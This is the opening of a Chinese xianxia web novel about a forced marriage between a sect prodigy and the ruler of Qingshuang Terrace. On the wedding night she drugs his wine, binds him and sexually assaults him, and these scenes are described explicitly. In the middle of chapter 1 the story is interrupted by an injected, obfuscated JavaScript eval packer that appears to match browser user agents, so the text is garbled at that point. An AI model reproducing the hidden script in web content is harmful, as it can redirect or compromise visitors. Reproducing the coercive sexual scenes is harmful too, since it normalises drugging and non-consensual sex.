《妻子在修无情道》 1. 新婚 归墟界,清荷两千四百五十七年,四月初七,大事勿用,忌结婚,忌出行,忌…… 总之,今天是个诸事不宜坏日子。 可偏偏今日,云涯仙门中却是热闹非凡,山间的树枝上挂满了红绸,鹤望峰少峰主住所的门上也是彩灯高悬,红绸随风舞动,灵力绘成的喜字映在天空中。 主持婚礼的仙官小声嘟囔着,也不知道青霜台那位大小姐非要选在这个日子成婚,统共就给了云涯不到半个月的准备时间,这几日他简直忙的脚不沾地。 仙官连连哀叹着他简直就是劳碌命,可偏偏那位少峰主看起来还不领情。 被装饰的分外华丽的礼台上,一个身着红色喜服,头戴玉冠男子面无表情地站在那里,抱臂迎风而立,红衣被风吹得猎猎,眼神放空盯着远方,对仙官的祝词充耳不闻,就好像这场婚礼与他无关一样。 “少峰主,恭喜你啊。”有不长眼的弟子对霁明珏贺喜道。 听到声音,霁明珏略微抬眼,冷冽如霜眼中却没有丝毫笑意,但为了维持少峰主的形象,还是勉强自己温和地点了点头。 但这并没有结束。 礼台下有弟子聚在一起小声议论着: “我听说青霜台那位大小姐不但生的美貌非凡,修为更是不凡,据闻其一百余岁时便已是八境修士,如今百年过去,修为估计已是更上一层楼了。” “那又如何,论相貌,我们少峰主面若冠玉,身如松柏,未必比那青霜台大小姐差。论修为,少峰主修为也是百岁便达九境,论剑术,少峰主入道时便修出了本命剑,说是千年难得一遇的天才也不为过,踏入十境不过是指日可待。”有鹤望峰的弟子为自家少峰主反驳道。 道门武学分十二境,前九境为地人境,后三境为真人境,以及还有传闻中的第十三境——仙人境。 绝大数人普通弟子终其一生也不过八境修为,只有极少数天赋卓绝者能达到九境,霁明珏便是这极少数人其中之一。 可以说,如果不与月见荷成婚的话,他恐怕会是云涯近百年来最有希望迈入第十境的修士。 所以难免又有弟子惋惜道: “少峰主以其九境修为武冠云涯仙门四峰之首,又师从玄微真人,若不与那青霜台大小姐成婚,等到明年四峰论道开启,下一任云涯神官便是他囊中之物,与青霜台主君相比,显然是云涯神官更胜一筹。” 另有弟子却不赞同: “虽说遗憾,但你可知青霜台大小姐拿出了什么才能换得我们少峰主与她成婚?” 有弟子好奇道:“是什么?” “灵矿!整整一条灵矿!” 惊呼声不绝于耳,围观的众弟子均是难掩惊讶之色,归墟界的灵矿并不多,而浮荒却独占了三分之二。 一百年前,浮荒六部之乱,青霜台一夜政变,前任青霜台之主月天尊陨落,雅夫人也失踪不见,只留下年纪轻轻的大小姐月见荷独掌青霜台。 弟子们不禁开始思考,月见荷究竟是看上霁明珏此人,还是看上了他九境修士的修为。 但总之这一番交易,云涯仙门并没有什么损失。 归墟界的天才如过江之卿,第九境的修士总会再有,神官的热门人选也不止他一人,但灵矿可未必了。 况且,若这位大小姐若当真是心悦霁明珏,那作为仙门道君的霁明珏入主青霜台对云涯来说也是有益无害。 台下众弟子的恭贺声不绝于耳,此起彼伏。 霁明珏身着红色喜服,冷着脸站在人群之中,心里只觉得讽刺。 云涯仙门中所有人都是高兴的,除了他。 收到青霜台文书的时候,霁明珏的怒火恨不得透过薄薄信纸烧向远在浮荒的月见荷。 他一心问道,所求不过参透天地奥妙,超脱生死轮回。 而且成婚并不在他的人生计划之内。 更何况是这种带有羞辱意味的联姻。 那位大小姐若真心悦他,为何不亲自来云涯与掌门相谈,而只是寄来一纸轻飘飘的文书,说什么愿意用一条灵矿作为聘礼娶他入赘青霜台。 从未有人敢如此羞辱他。 他是极力拒绝这场联姻的,但那是一条灵矿,云涯掌门容不得他拒绝。 如今仙门式微,神官缺位,苦厄地的妖族隐隐有崛起之势,云涯需要这样一条灵矿来壮大仙门,也需要与浮荒联姻以维持归墟三方势力之间的平衡,抵御伏藏深渊之下镇压的怨力。 得知掌门的意思后,他在长老殿跪了三天三夜,希望避世不出的大长老能出面调解此事。 如果青霜台只是需要一位九境修士帮忙,那他可以替仙门出使浮荒,但若是非要与他成婚…… 他是宁死也不从。 大长老无奈传信给青霜台,但只收到一封,“绝无可能”的回信。 最后大长老叹气道:“就当还恩于师吧。” 霁明珏知道此事已经没有转圜之地了,在殿前跪了三天三夜,膝盖上的酸痛蔓延开来,仿佛有无数细小的针尖扎在他的膝盖上,也扎在他的心上。 他踉跄着起身,迈着沉重的步伐走出长老殿,身形犹如一只丧家之犬。 . ——咚。 远方的天空中传来十三道钟声,预示着吉时已到。 云海之上突发万丈霞光,十三只金羽仙鹤衔珠而来,一座悬挂着浮荒标志的仙舟出现在空中。 金羽仙鹤在空中列队飞旋,吐出的灵珠化作一道道流光环绕着仙舟,为首的仙鹤迈着优雅的步伐来到霁明珏脚边,吐出一封婚契在他手中。 他看着金羽仙鹤,却没有伸手。 金羽仙鹤等得不耐烦了,还没有人敢如此怠慢它! 它有点讨厌这个不识好歹的男人,如果这是在浮荒的地盘,它早就一翅膀扇上去了。 但这里是云涯。 想起出发前月见荷对它下的死命令,必须将活的霁明珏带回青霜台,它咬着牙暂时咽下了这口气。 霁明珏与金羽仙鹤僵持许久,最后看不下去的大长老走到他身边,替他接过婚契书,有对金羽仙鹤略微颔首致意。 他缓缓将婚书上的祝词念出:“天地为证,日月为鉴……” 霁明珏的耳膜而这下句子刺得发疼,他一把抢过婚契书,扫向婚契的底部,月见荷已经签好了她的名字。 虽然暗地里是灵矿交易,但明面上依旧是是云涯与浮荒的联姻,这位青霜台的大小姐竟然连人都不愿意到场? 霁明珏冷笑一声,欲召出道火烧毁这封带着侮辱意味的婚契,一只被沧桑岁月浸染许久的手按在他肩膀上,不留情面地将他一身灵力锁住。 他回过头,面露难以置信的目光。 大长老面无表情:“签吧。” 他欲再说些什么,张了张口,却只感到无力。 浮荒不过给出了一条灵矿,云涯就这么将他当作礼物一样送给了青霜台。 霁明珏带着决然的目光,咬破指尖,在‘月见荷’旁边写下他的名字。 婚契上一道光芒闪过,意味着契已结成,金羽仙鹤将婚契书重新吞入腹中,黑溜溜的眼珠直盯着霁明珏看,随后伸出长喙啄了啄霁明珏的手,示意他跟它走。 霁明珏回头向云崖仙门中深深望去一眼,似有无限眷恋,他本想再次挣扎一下,大长老一掌将他推进浮荒的仙舟中。 十三只金羽仙鹤齐声啼鸣,片片金羽化作灵光洒向观礼台,仙舟在金羽仙鹤的歌声中启程,穿过翻涌的云海往浮荒方向飞去。 · 青霜台。 被浓浓霜雾笼罩着的荷苑内,有一处荷花池。 正值四月初春,尚未到荷花盛开的季节,但这荷花池中,荷叶绿如翡翠,层层叠叠铺满整个池面,花苞露出尖角,偶有飞鸟栖息其上。 山间一阵清风吹过,池中花苞盛放,花瓣之中灵光流转,天地灵气汇聚池中,氤氲地水汽蒸腾出缭绕的霜雾,让人如临仙境。 荷花池边建有一座凉亭,上提‘醉心’二字,亭中摆着一张小桌和一张美人榻。 桌上放着一顶鎏光四溢的发冠,白玉为底,冠身形似莲花,花瓣上镶嵌着数颗透色灵珠,美人榻上则躺着一位美人,美人身着月牙色的罗裙,桃花眼微挑,乌发垂落,衣襟上用银色丝线绣着淡淡的仙鹤图案,腰间系着一串青白色流苏玉带,整个人清雅而出尘。 火炉中的茶壶开始咕噜冒泡,女侍官轻摇茶壶,替躺在美人榻上的女子斟上一杯清茶。 用山间晨露与春日第一抹新芽煮出来的清茶,茶汤碧绿如翠竹,香气清幽,隐约有一股荷花香。 女子改为半卧姿势,一手撑在矮榻上,一手接过茶盏,轻轻抿了一口茶,但目光却未曾从荷花上移开,似乎在思索着什么。 女子淡淡开口问道:“迎亲的仙舟到哪里了?” 见女子发问,昭岁侍官忙不迭回答道:“回大小姐,三日前已经出发,如今应在赶来浮荒的路上,估摸着今日晚些时刻便会到达青霜台。” 女子正是青霜台大小姐——月见荷。 月见荷蹙眉道:“怎么这么慢?” 昭岁:“也许是金羽仙鹤久未离开青霜台,路上耽搁了吧。” 好吧。 那她就耐心的等一会好了。 月见荷重新躺回美人榻上,打了个哈欠,道:“我有些困了,你先退下吧,等那位霁明珏到了再来叫醒我。” 今日,正是浮荒青霜台大小姐与天都云涯仙门鹤望峰少峰主霁明珏的成婚之日。 但青霜台内部仍和平日没有两样,一丝喜庆的气息都没有,山崖间飘荡着冷寂的风,穿过青葱茂密的树林,浓郁的霜雾遍布整个青霜台。 昭岁侍官试探着问道:“大小姐,您看是否需要换上先前礼官替您准备的婚服?” “不需要。”月见荷打断昭岁的未尽之言,面色略显不虞。 给他一个夫君的名分已经够仁至义尽了,如果他只是个普通云涯弟子,她早就直接将人抓了过来,何须白白送出一条灵矿和她月见荷夫君的名分。 昭岁又道:“并非红色的,是礼官特意赶制的浅金色礼服。” 月见荷不耐烦道:“那也不需要!” 昭岁侍官不敢再劝,只得行礼告退。 不知为何,大小姐今日看起来心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后又对着系统翻了个白眼:“而且这句话你已经翻来覆去说了无数遍了,我实在想不明白,你能不能告诉我,为什么他没有爱上我,我就会死呢?又为什么我不能杀死他,他却可以杀死我呢?” 系统短暂沉默后,说道:“我只是个系统,我的任务只是阻止你的死亡。” 月见荷冷笑:“你这么慈悲为怀,当什么系统?直接跟着禅院那群佛修普渡众生多好。” 说完后便挥手将系统扇进她识海深处。 至于爱?她得是有活得有多无聊才会去这种虚无缥缈情感。 如果不是这个叫系统的天外来物阻拦,她早就提着剑去云涯仙门杀死霁明珏了。 自从得知她会死在霁明珏剑下后,她至少想出了不下一百种杀死霁明珏的方法。 但这个自称是‘系统’的天外来物确有几分神通,每当她冒出想要杀死霁明珏的想法时,便会如遭噬心之痛。 虽然她很想杀死霁明珏,但她还没有蠢到采取与人同归于尽这种玉石俱焚的方法。 毕竟,霁明珏的命可没有她的值钱。 所以灵光一闪之间,她忽然想到了一个有趣的游戏。 如今的霁明珏不过九境修为,是远远无法杀死她的,与其放纵霁明珏在她力不能及的云涯仙门茁壮成长,不如将霁明珏扣在身边折磨,况且她一向很喜欢看着别人痛苦。 反正‘系统’只说不能杀死他,又没说不能折磨他。 月见荷越想越满意,她真是个天才,这也真是个绝妙的游戏。 想着想着,呼吸变得平缓,这次她是真的睡着了。 · 霁明珏踏进仙舟后,便试着调动灵力冲破大长老下在他身上的锁灵咒。 可惜尝试数遍仍是未能冲破灵力桎梏,不过好在随着仙舟逐渐接近浮荒地界,他隐隐约约察觉到体内的灵力束缚开始变得松动。 他微垂着眼,看样子,只要到了浮荒地界,灵力束缚就会自动解开。 于是索性不再纠结灵力一事,开始打量着仙舟内部。 仙舟内部空荡荡的,除了一只金羽仙鹤外,什么也没有。 见霁明珏的目光落在它身上,金羽仙鹤便迈着优雅的步伐走上前,从嘴中吐出一本书册,放在霁明珏面前,长喙轻点在书册上,傲慢地示意霁明珏拿起来阅读一番。 他皱着眉翻开书册,只见上面密密麻麻的写满了这位青霜台大小姐的喜恶。 “第一,大小姐最讨厌红色,青霜台之中不得出现红色。” “第二,大小姐不喜欢有人揣测她的心思,所以切勿揣测大小姐心中所想。” “第三,大小姐不喜欢有人忤逆她,所以不可以违背大小姐的意思行事。” “……” 霁明珏没有耐心再看下去了,‘啪’的一声合上书册,随后犹如丢一样厌恶至极的脏东西一样将书册扔下仙舟。 他看着身上的大红喜服,眉梢一挑,嘴角扬起一抹挑衅的笑容。 不喜欢红色是吧,他今日偏偏就要穿着这身红衣踏进青霜台。 2. 怨侣 “大小姐,该醒了。” 昭岁轻轻摇醒月见荷,提醒道:“霁道君已经到青霜台了。” 月见荷睁开困顿的双眼,迷茫问道:“霁道君?谁?” 昭岁心中无奈,大小姐怎么还是这副散漫的样子,她耐心说明道:“正是与您成婚的云涯仙门玄微真人首徒,鹤望峰少峰主,霁明珏。” 听到霁明珏的名字,月见荷瞬间从困乏中清醒,兴奋地从美人塌上爬起身,眨着明亮的眼睛,对昭岁说道:“快!带我去见他。” 她现在很期待开始她的游戏。 昭岁却没有动,说道:“大小姐,霁道君已经被安排在荷苑内了,我先替您束冠吧。” 月见荷趴在围栏上对着池水照了一下,睡了许久,她的头发确实有些乱了。 她示意昭岁动作快些。 昭岁拿起梳子,动作轻柔地拂过月见荷的青丝。 她则托腮数着池中的荷花倒影,心里盘算着一会该如何折磨霁明珏。 霁明珏居然会乖乖来到青霜台,真让人难以置信。她还以为这位如天山雪莲一般只可远观,不可亵玩的仙门少峰主,会不堪受辱,半路跳下仙舟,悔婚而逃呢。 月见荷觉得这个游戏变得更有趣了,她的嘴角忍不住泛起笑意。 昭岁不明所以,大小姐难道真的喜欢那位云涯仙门的霁道君吗? 但她不敢问,因为没有人敢试图揣测月见荷的心思。 在月见荷数荷花数得快要睡着时,昭岁终于替她戴好了发冠。 她拢了拢绣着金边得月牙色衣裙,衣袂翩翩,迈着轻快的步伐向荷苑中走去。 · 仙舟行了一日,终于在日暮时分抵达青霜台。 青霜台果然如其名称一样,入眼所见,除了青色便是白色。 身着红色喜服走在青白色之间的霁明珏,犹如一朵雪里梅花。 青霜台的侍官领着霁明珏来到荷苑,尚未到初夏时节,荷苑中却不合时宜的种着满池盛放的荷花。 他感到很好奇,刚想伸手触碰荷花,却被侍官急忙打断了动作。 “霁道君不可!大小姐不喜欢有人触碰她的荷花。” “抱歉。”他收回手,礼貌致歉,心里却冷笑一声,这位青霜台的大小姐规矩可真多。 在侍官看不见的地方,一道灵力从他袖中飞出,一朵盛放的荷花摇晃着脑袋坠落在池中,溅起水面一片涟漪。 “霁道君,荷苑到了。”侍官推开门示意他进入其中。 房间已经提前打扫的一尘不染,但屋内却空荡荡的,除了一张床和一面镜子外就是桌椅,再无其他设施,看起来并不像有人居住过的样子。 当然了。 也没有人。 霁明珏眉头一皱,眼色微冷,但还是耐着心问道:“你们大小姐呢?” 侍官面带抱歉,她抱来一叠青白色的衣袍,对着霁明珏柔声道:“霁道君,大小姐不喜红色,要不您先换身衣服吧?” 他眼中的冷意更深了,狭长的凤眸一睨,嘴角勾起意味不明的弧度,道:“侍官何出此言?今日是我与你们大小姐成婚之日,怎有不着喜服的道理?” 见他坚持,侍官也不敢再劝,只得将衣袍放在床榻之上,后行礼退下。 侍官离开后,空荡的房间中只剩霁明珏一人,他静静地坐在桌前,开始思索着这场莫名其妙的婚事。 青霜台以一条灵矿做为交易,换得他与大小姐成婚,可为何今日那位大小姐却迟迟未到。 他从来没见过那位大小姐,不禁在心中思索,难道那位大小姐其实也是被迫与他成婚的? 但传闻大小姐独掌青霜台,应当无人可左右她的婚事才对。 若大小姐也是被迫成婚,他愿意与她好心解释一番,做一对互不干扰,相敬如宾的夫妻,各求心中大道。 他的视线落在侍官放在床边的衣袍上,算了,他就好心一回,换上那身青白衣袍罢了。 但还未等他拿起衣袍,‘吱呀’一声,门被人推开了。 他抬起头看过去,只见一位身着月牙色衣袍,头戴白玉莲花冠的女子推门而入,身后跟着一位青袍侍官,手中的托盘中放着两盏酒杯。 “你就是霁明珏?”女子的目光在他身上上下打量,嘴角微勾,笑意却不达眼底,像是在打量一件极为有趣的玩意。 霁明珏被她的眼神看的好一阵不适。 能在青霜台中语气如此张扬的人,除了那位大小姐月见荷还能有谁。 他皱着眉迎上月见荷的目光,却一时失神。 月见荷很美。 云涯仙门之中不乏美人,有的明艳至极,有的清冷孤傲…… 总之,各有各的美。 但月见荷却不同,她的面容白皙的不像活人,小巧的鹅蛋脸上明明长着一双多情的桃花眼,却让人感觉淡漠无比,低眉时隐约有一股悲天悯人之像。 又像一朵超脱俗世外的花。 他还未来得及回答她的问题,便在她眼中看到了厌恶。 月见荷皱着眉头,她最讨厌红色了。 一旁的昭岁瞥见霁明珏的红色衣服,心道不妙,她不是让金羽仙鹤告知大小姐的喜恶了吗,怎么霁道君还是…… 见月见荷面色不妙,她急忙压低了声音劝道:“大小姐,今日成婚,不可动武。” 月见荷不为所动。 她又补充道:“他再怎么说也是玄微真人的徒弟,还是以礼相待为好。” 是呢,差点又忘了,霁明珏的身份可不一般。 但那又如何,别说玄微了,就算是云涯掌门来了,她都不见得会给他们面子。 不过昭岁说的也确实有几分道理,云涯送来的新郎官在新婚当夜便死在青霜台,说出去也确实有些不好交代。 月见荷闭上眼,忍了又忍,待到呼吸平静后,终于压下心中那杀死眼前人的冲动。 她转过身,对昭岁侍官微笑道:“我知道了,你先退下吧。” 昭岁侍官将合卺酒放在桌上,转身行礼告退时,却又听到身后传来幽幽一声:“今夜,无我谕令,任何人不得踏入荷苑。” . 昭岁侍官退下后,房中只余霁明珏与月见荷二人。 夜色已深,房中光线昏暗,月见荷垂眸不语,自掌中化出一股灵力点燃桌上的红烛。 红烛摇曳中,霁明珏只听见她突然一问:“霁明珏,你爱我吗?” 他不明所以,他与她今日不过初次见面,为何会有此问? 他本就厌恶这场婚事,但在对上月见荷清澈的双眼时,本将出口的讽刺之语被生生咽了回去,改为认真地劝解:“大小姐,你我今日不过初次见面,谈爱是否过于…....” “过于荒唐,是吗?”月见荷笑着替霁明珏补充了他的未尽之言。 “但我这人就喜欢做荒唐事。”跳跃的烛火映在月见荷眉梢,她继续问道,“霁明珏,你爱我吗?” 说爱太过虚伪,说不爱又唯恐伤人心。 霁明珏不知道怎么回答这个问题,所以干脆选择了沉默。 见他不回答,月见荷便换了个说法,继续问道:“霁明珏,那你会爱我吗?” 霁明珏刚想出声,却听见她又是悠悠一语:“你只有一次机会,我不想听见我不喜欢的答案。” 他轻轻叹了一口气,他不愿欺骗他人,也无法欺骗自己。 “抱歉……” 月见荷的笑容瞬间消失,桃花眼中只剩下淡漠,葱白的手指挑起霁明珏身上的红衣,语气冰冷:“脱掉吧。” 突如其来的态度转变让霁明珏感到困惑,“什么脱掉?” “衣服啊。”月见荷微笑着,耐心的补充。 “为什么?” “我不喜欢红色。” 霁明珏本想开口解释,但月见荷的态度过于强硬,这让他的逆反心理上来了。 他眉梢一挑,冷硬拒绝道:“这是我的新婚夜,我凭什么不能穿喜服?再说了,喜服本就是红色的。” 真是好极了! 月见荷在心里拍手叫好,这么多年了,他霁明珏是第一个敢对她这么讲话的人。 “好啊。”她笑意不减,语气温柔至极,“既然是新婚夜,那霁道君便与我饮下合卺酒吧。” 等饮了合卺酒,她就会让他不得不脱。 只是喝杯酒而已,霁明珏未作他想,端起酒杯一饮而尽。 月见荷目视着霁明珏,见他将合卺酒咽下去后,便瞬间暴起,掐着霁明珏的咽喉将他压在床榻之上。 她笑意吟吟道:“霁道君,既然你不愿意脱,那只能我帮你脱了。” 霁明珏并没有挣扎,困惑的目光直直地盯着月见荷的眼睛,似乎想要弄明白月见荷到底想做什么。 她的指尖从霁明珏的喉间一路下滑,擦着胸膛上来到小腹,最后停留在腰间。 许是常年练剑的缘故,霁明珏肩背宽阔,腰身精瘦,隔着布料她也能感觉到那小腹处紧实的肌肉线条。 身材倒是挺不错的。 月见荷满意地点了点头,她喜欢一切好看的东西。 她笑眯眯地望着霁明珏,摸索着找到他衣服上的腰带,正准备扯开时却被霁明珏止住动作。 霁明珏抓着她的手腕,不肯让她继续。 她不满地瞪了他一眼。 霁明珏道:“我们今日只是初次见面。” 月见荷疑惑:“我知道啊。” 霁明珏喉结滚动,艰难地开口:“初次见面就做这种事情是否有些……” 什么事?哪种事? 月见荷不理会他,直接伸出另一只手,将他的腰带扯开。 盘扣碎裂的声音在寂静的室内显得格外刺耳。 霁明珏心弦紧绷,慌忙往后退去,“你想做什么?” 月见荷的目光落在霁明珏的白色里衣上,又道:“我不喜欢别人跟我穿同样颜色的衣服。所以,霁道君把这件也脱了吧?” 霁明珏此刻衣衫半敞,露出大片的胸膛,月见荷的指尖在他锁骨上摩挲着,又掐了掐。 她眨了眨眼,柔声道:“霁道君如果不愿意的话,我也可以帮忙的。” 霁明珏拍开她的手,用一个看疯子一样的眼神看着月见荷,“你有病吗?” 月见荷不喜欢这样的眼神,但此刻她不得不压制住她的杀意,按照系统的建议装出一副温柔的模样,“看来霁道君是不愿意脱了。” 她从破碎的红色喜服中扯出一抹红绸,双臂环绕过霁明珏的胸膛,将他的双手束缚在背后,顺便系了个死结。 胸前突然贴近一个柔软的身躯,霁明珏忍不住往后仰去,试图离那柔软远些。 只是刚想挣开手腕上的红绸,却发现灵力使不出来了。 他心中一惊,怒声道:“你对我做了什么?” 月见荷满脸无辜:“我没做什么呀?” 她还没开始呢。 “我不是说的这个!” “哦!”月见荷做出一副恍然大悟的样子,“你是说的灵力呀?” 她笑着指了指桌上的空酒杯。 “你!”霁明珏气急,“月见荷,你到底想做什么?” 月见荷掐住霁明珏的下巴,逼着他后仰,道:“我不喜欢有人直呼我的名讳,这里是青霜台,你应该称呼我为‘大小姐’,明白 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她柔声道:“霁道君,你为什么不看我呢?” 霁明珏不想说话。 月见荷的耐心似乎是用尽了,她毫无怜惜之意地扯开他的仅剩的衣服。 初春的夜晚,空气微寒。 房内的窗户没有关上,冷风吹进床榻之上,霁明珏只感觉冷气侵袭着他每一寸肌肤。 他闭眼,不愿再看月见荷。 但他的嘴依旧很硬,“大小姐,做这种事情,强扭的瓜不甜。” 月见荷不以为意道:“我何时说过要与你做这种事情了?再说了,强扭的瓜甜不甜重要吗?我又不会吃。” 霁明珏面色愠怒:“那你究竟想做什么!” 但月见荷并不在意霁明珏愤怒与否,她从桌上拿起剩下的那杯合卺酒,颇为玩味道:“这杯酒里面,我加了点东西,霁道君要不要猜猜是什么。” 随后一手捏住霁明珏的下巴,试图将酒水灌进霁明珏嘴里。 霁明珏薄唇紧闭,咬紧牙关,不用想也知道加的肯定不是什么好东西,只是他依旧不解,月见荷为什么要这样做。 本是初次见面,但她看起来却对他颇有怨怼。 只可惜他的抵抗却未有效果。 一只冰凉的手指伸进了他口中,撬开了他的咬紧的牙关。 是月见荷的手指。 他不敢用力,只能任由酒水从喉间滑进腹中。 “你……” 霁明珏刚想说些什么,便感觉身体变得滚烫,他急忙咽下不自然的声音。 月见荷坐在床边,托着腮欣赏着霁明珏的变化,心中甚是愉悦,寒雪衣送她的的春宵醉果然是个好东西,居然这么快就见效了。 如何折磨一个人,最重要的就是先打碎他的自尊,月见荷深谙这个道理。 霁明珏这个人虽然天生傲骨,但心性坚韧,并不自负。 如果只是简简单单的出剑将他击败,他也许只会拱手道出一声‘佩服’,显然,这并不能达到她的目的,她要的是霁明珏成为一个永远提不起剑的废物。 所以月见荷这几日思来想去,终于想到了一个绝妙的方法。 而且听闻剑修大多爱修无情剑,若能以此破了他的剑道那便更好了。 这样他便永远失去了杀她的能力,她也不用再每天听着系统神神叨叨,像只恼人的苍蝇一样,赶都赶不走。 “霁道君既然不愿看,那就不看吧。”月见荷又扯下一截红绸,蒙住他的双眼。 人失去了视觉,其他感觉便会变得更为敏锐。 黑暗中,月见荷安静地坐着,一言不发,除了风声,霁明珏就只能听见自己被感官无限放大的呼吸声。 他跪坐在床榻上,感觉到身体温度不断上升,仍是挣扎着拒绝道:“我们只是初次见面,我不会与不喜欢的人做这种事情。” 不喜欢的人? 是在说她吗? 月见荷冷笑一声,挑起霁明珏的下巴,问道:“怎么,你还有其他喜欢的人?可今日与你成婚的人是我呢。” 说完,她便欺身上前。 谁管他喜不喜欢? 她只要高兴了就行,至于霁明珏的感受? 那不重要。 “我并没有……”霁明珏想要解释一下,但话到一半,又突然死死抿住嘴唇,坚决不肯发出一丝一毫的声音。 因为有一股冰冷的温度,抑制住了蓬勃生长着想要破土而出的嫩芽。 红绸之下,霁明珏双眼含恨地盯着月见荷,他从未受到过如此羞.辱。 月见荷指尖轻弹,凑近他耳边轻声道:“霁道君,看起来,它和你的嘴一样硬呢。” 身躯不可避免地颤动。 夹紧了腿,试图控制住胀大的趋势,但很快就被人抓住了。 只是抓住,却不肯动作。 月见荷笑眯眯地欣赏着霁明珏的狼狈之像,平日光风霁月的仙门道君,此刻像条狗一样跪坐在她的床榻上,这让她的恶趣味得到了极大的满足。 她决定晚一些时日再杀死他好了。 如恶魔低语般的声音响起:“霁道君,如果你求我的话,我可以考虑奖励你一下。” 霁明珏薄唇紧闭,生怕露出喘息之声,从咬紧的牙关中地挤出两字:“绝不!” 月见荷连连冷笑,这是今晚霁明珏第三次拒绝她,她的耐心已经用尽了。 她又笑了一下,掌心生出一条藤蔓,缠绕在跳跃的火苗上。 3. 厌憎 霁明珏的尾椎处突然窜起阵阵酥麻,指尖猛地绞紧床单,呼吸变得粗重。 但他的嘴还是很硬:“你这么做有意思吗?” 月见荷的语调散漫又随意:“为什么会没有意思呢?夫妻之间新婚夜不就应该做这些吗?” 霁明珏无力反驳这件事,毕竟他们的确是签了婚契的夫妻,只是,这种事不应该是这般吧? 他欲说些什么,却听见月见荷轻柔的语气传来:“霁道君想看看自己现在的模样吗?” 不待他给出拒绝的回应,蒙眼的红绸便被扯开。 忍不住眨了眨眼,以适应突如其来的光明。 映入眼中的是懒散地倚在床边的月见荷,衣衫整洁,毫无一丝褶皱。 还有那今天就没变过的微笑。 月见荷静静地欣赏着霁明珏眼里地羞怒,顽劣地蛊惑道:“霁道君再低头看看呢?” 他下意识地低头,却心头狠狠一跳。 难言的欲望不受控制般上涌,他赶紧屈起双膝,忙不迭地后退,试图藏起难以见人的物件。 但月见荷没有让他如愿。 不知又是从哪生出的藤蔓,将他腰间拘紧,拉向月见荷。 他试图屈起腿隔开月见荷的动作,但下一秒,又一根藤蔓将他的双腿束缚。 手足皆被被禁锢,双腿被分开,动弹不得,只能任由月见荷戏弄。 她凑近霁明珏,再次抓住跳跃的火苗,将它完完全全地握在手中。 但火苗有些过于旺盛,已经不是一只手所能覆盖的了,但她又不想弄脏另一只手。 她想了想,索性来到温度最高的地方,毫不客气地按了下去。 尖端被指腹按住,里面的东西出不去,也收不回来。 霁明珏只感到脑袋里也胀得快要裂开了。 恶魔再次低语:“你现在有考虑求我吗?” 霁明珏咬紧牙关,恨声道:“你做梦。” 恶魔突然笑了下,她松开了手。 霁明珏身躯瞬间绷紧,瞳孔猛的一阵收缩,被压抑在泥土中的种子寻到了机会破土而出,在肌肤上洒下生命的气息,理智如坠云端。 牙齿虽然咬紧了,但鼻子依然是通气的。 一声比一声粗重的喘息声从鼻间溢出。 角落的镜子正对着床榻,他看见镜中的自己面色潮红,腰背挺起,背后的双手紧抓着床褥,一副狼狈至极的模样。 颤抖的声音中夹带着急促的喘息:“你为什么要这么做?” 月见荷凑近霁明珏,笑吟吟道:“当然是是羞辱你,玩弄你,折磨你呀。难道还会是因为我爱你吗?” 说完,再次换了个位置助长火苗的窜动。 霁明珏费力挣扎着,凤眸接近破碎,愤怒的尾声被喘息淹没:“但今日之前我与你素昧蒙面,无冤无仇你为何要羞辱我至此?” 月见荷不解道:“羞辱一个人,需要理由吗?” 他的心冷了几分,看来今夜是无法继续沟通了,索性闭上双眼,任由月见荷在他身上折腾。 挑逗几次后,见霁明珏不再搭理她,月见荷也顿时觉得索然无趣。 真是不行啊。 这才一次呢。 她玩得有些累了,便脱去被弄脏的月白外袍,打了个哈欠,懒洋洋地往床榻中一躺,道:“我困了,剩下的你自己解决吧。” 说完后便闭上双眼,将愤怒的霁明珏抛在脑后。 “喂!你倒是解开我啊!”霁明珏的双手仍被红绸束缚在身后,只能曲起膝盖触碰月见荷的胳膊。 月见荷抬手拍开他的膝盖,不耐烦道:“三个时辰后你的灵力自然会恢复。” 但她刚准备进入梦乡,耳中又传来霁明珏的怒气勃勃的声音:“你就睡在这里?” 烦死了! 月见荷捂住耳朵,没好气的冲他喊道:“这里是青霜台,我是青霜台的主人,我想睡在哪里,就睡在哪里!” 随后翻身背对着霁明珏,表明了不想搭理他。 “喂。”霁明珏又用膝盖戳了戳月见荷的后背。 但月见荷一动不动,呼吸也开始变得绵长,就好像真的睡着了。 只余他身下火热难消。 这简直荒唐至极! 霁明珏气急反笑,他从未见过如此不可理喻之人。 但偏偏他此刻又拿她毫无办法。 只能在心中不停地默念清心咒,压下攒动不休的焰火。 · 第二日清晨,月见荷一睁眼便见床边抱着剑,对她怒目而视的霁明珏。 她用余光扫去见到一抹青色,颇为满意地点了点头,很好,这次没有穿她最讨厌的红色,看起来昨晚那一番羞辱确实有用。 但此刻尚早,并不是她平日的起床时间,她尚未能从困意中挣脱出来,索性托着腮坐在床榻上,双眼紧闭,再次陷入神游之中。 见月见荷对他不理不睬,霁明珏心头更气,他握剑的指尖隐隐发白,随后一剑递向她喉间。 第九境的修为释放开来,灵力波动震地荷苑内地荷花摇晃不休。 月见荷任由剑锋抵在她喉间,抬眼不屑地看他:“你不敢的。” 霁明珏在她眼中看见了嘲讽,握剑的手开始轻微颤抖。 他的确不敢,他不过是想发泄一下自己的愤怒,顺便吓一吓她而已。 但显然,她既不理会他的愤怒,也没有被他吓到。 月见荷伸手按在心口,放缓呼吸,试图平息心口的绞痛。 她现在是真的想提剑杀死霁明珏。 已经很久很久,没有人敢对她动手了。 如果不是因为这个莫名其妙自称是‘系统’的天外来物,就在霁明珏出剑的刹那,他就已经死了。 可游戏有游戏的规则,她也向来是个遵守规则的人。 月见荷抬手拍开霁明珏的剑,打了个哈欠,压下心中的杀意缓缓从床上爬起,准备穿上昨日扔在床边的外袍,又突然想到什么,嫌弃地将外袍往地上一丢。 清晨的气温有些凉,没有外袍可穿,她忍不住缩了缩肩膀。 昭岁察觉到荷苑内异常的灵力波动,急急忙忙飞奔而来,倒不是担心她家大小姐,而是生怕新婚第二天便在青霜台弄出血案来。 她环顾了一下二人剑拔弩张的氛围,想了想,还是选择谨慎地挡在月见荷面前。 两位九境高手的对峙,让房间内的空气都变得凝结。 “昭岁,退下吧。”月见荷轻轻拍了拍昭岁的后背,示意她无事。 区区九境修士,还成不了什么气候。 